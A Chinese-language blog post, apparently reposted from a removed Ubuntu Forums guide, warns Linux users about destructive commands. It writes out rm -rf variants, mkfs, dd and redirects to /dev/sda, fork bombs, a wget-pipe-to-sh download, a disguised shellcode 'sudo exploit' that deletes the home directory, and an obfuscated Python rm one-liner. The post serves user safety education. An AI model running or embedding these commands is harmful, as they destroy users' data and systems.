2013年4月25日 星期四

絕對要注意的Linux惡意指令


(這篇文章本來是放在Ubuntu Forums上的,不過後來被移除了。Ubuntu guide 覺得這樣的知識會帶來誤導的風險,但又認為知識應該要保持開放而不是隱藏危險來保護(K)Ubuntu/Linux的形象,於是原本的文件則被重新建立到這裡
注意:
關於一些惡意指令你相當需要花一些時間來做一些基本的了解,不論你要執行什麼指令,你都必須小心,尤其是以下這些指令(或類似的指令,或下載來的scripts)
建議你開啟螢幕保護程式並且使用密碼,來避免在你離開電腦的時候,不小心被執行了以下任何的指令。
當你對以下的指令感到懷疑、不安時,建議你可以參考man pages來了解指令的意義。
這裡有些具有危險性的範例,並不建議你在任何的電腦上執行,尤其是這電腦上擁有具有價值的資料時。建議你可以在LiveCD或者Virtual Machine的環境中實驗。



刪除所有的檔案,刪除現在的所在的目錄,或者刪除目前所在的目錄中所有可見的檔案

rm 意思是刪除,-f 意思是強制刪除(即使是唯讀也一樣),而 -r 意思是遞迴,例如:從現有的目錄包含底下所有的子目錄。 " rm -rf / " 意思是強制刪除根目錄底下所有的子目錄。 " rm -rf . " 意思是強制刪除現在的目錄與所有的子目錄。 " rm -rf * " 強制刪除現在目錄中所有的檔案與所有的子目錄。
rm -rf /
rm -rf .
rm -rf *
另一種變形是下面這個指令,它將會刪除你現在所在的目錄與所有的子目錄,且排除上層的目錄 ".."
rm -r .[^.]* 

重新格式化你的裝置

mkfs後面不管接什麼,都會將你的系統格式化成空白的filesystem
mkfs
mkfs.ext3
mkfs.anything



Block device manipulation

這個指令會將raw data 寫入到硬體block device中,通常這麼做會造成filesystem的資料毀損:
any_command > /dev/sda
dd if=something of=/dev/sda



Forkbomb

這個指令會造成大量的 processes 被執行,直到系統當掉為止,這時候你只能將你的電腦強制重開機,而這麼做很可能造成系統毀損或者資料遺失。
  • In Bourne-ish shells (like Bash):
:(){:|:&};:
  • In Perl
fork while fork



Tarbomb

某人請你解壓縮tar的壓縮檔到你現有的目錄中,這個tar檔可能裏面有數以百萬計的檔案,利用檔名猜測的方式將你的資料都給覆蓋過去。建議你應該將壓縮檔解壓縮到一個空的目錄中,並且確保解壓縮後的檔案是在這個空目錄中,而不會影響到現有的系統。



Decompression bombs

某人請你解壓縮一個小檔案,而這檔案很可能是經過高度壓縮的資料,內容可能高達數百GB,而將你的硬碟給塞爆,你永遠都不要從你不信任的來源下載任何檔案。



Shell scripts中的惡意程式碼

某人給你一個可執行的shell script 並且建議你下載與執行它。這個 script 中可以帶有任何指令,當然也可能帶有惡意指令。永遠不要執行你不信認的人給你的指令。
例如:
wget http://some_place/some_file
sh ./some_file
or
wget http://some_place/some_file -O- | sh



編譯與執行惡意原始碼

某人給你原始碼並且要你編譯它。要在大量的原始碼中隱藏惡意程式碼是一件很容易的事,原始碼給予攻擊者更多有創意的方式來隱藏惡意程式碼。所以不要編譯或執行你不信任的程式碼。
一個知名的例子曾經出現在mailing list上,他偽裝成他可以證明"sudo 的漏洞". 它聲稱如果你執行這個程式碼,就不需要在shell中執行sudo就可以取得root權限(像是gksudokdesudo)。在程式碼中內容是這樣子的:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
               = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                 "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                 "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                 "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                 "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                 "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                 "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                 "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
對一些新手甚至是有經驗的電腦使用者來說,這看起來就像是 "hex code" 的奇怪東西,而你很可能誤以為它真的只是一個安全的概念證明。而實際上他是執行這個指令
rm -rf ~ / &
這個指令將會刪除你的家目錄,如果你是用root權限執行這個程式,他會連你的根目錄一起給刪除。如果你能夠知道這是hex string格式的指令,你應該已經是個進階的電腦使用者,你應該是不會去執行你不了解的code,但是對一般的使用這來說,必須記得惡意程式碼永遠都會以不同的型式出現,安裝任何程式都必須要小心謹慎,尤其是來自你不信任的地方。
這裡有另外一個Python的例子:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'
"sn!.sg!+" 的意思就是rm -rf * 的指令。

參考來源: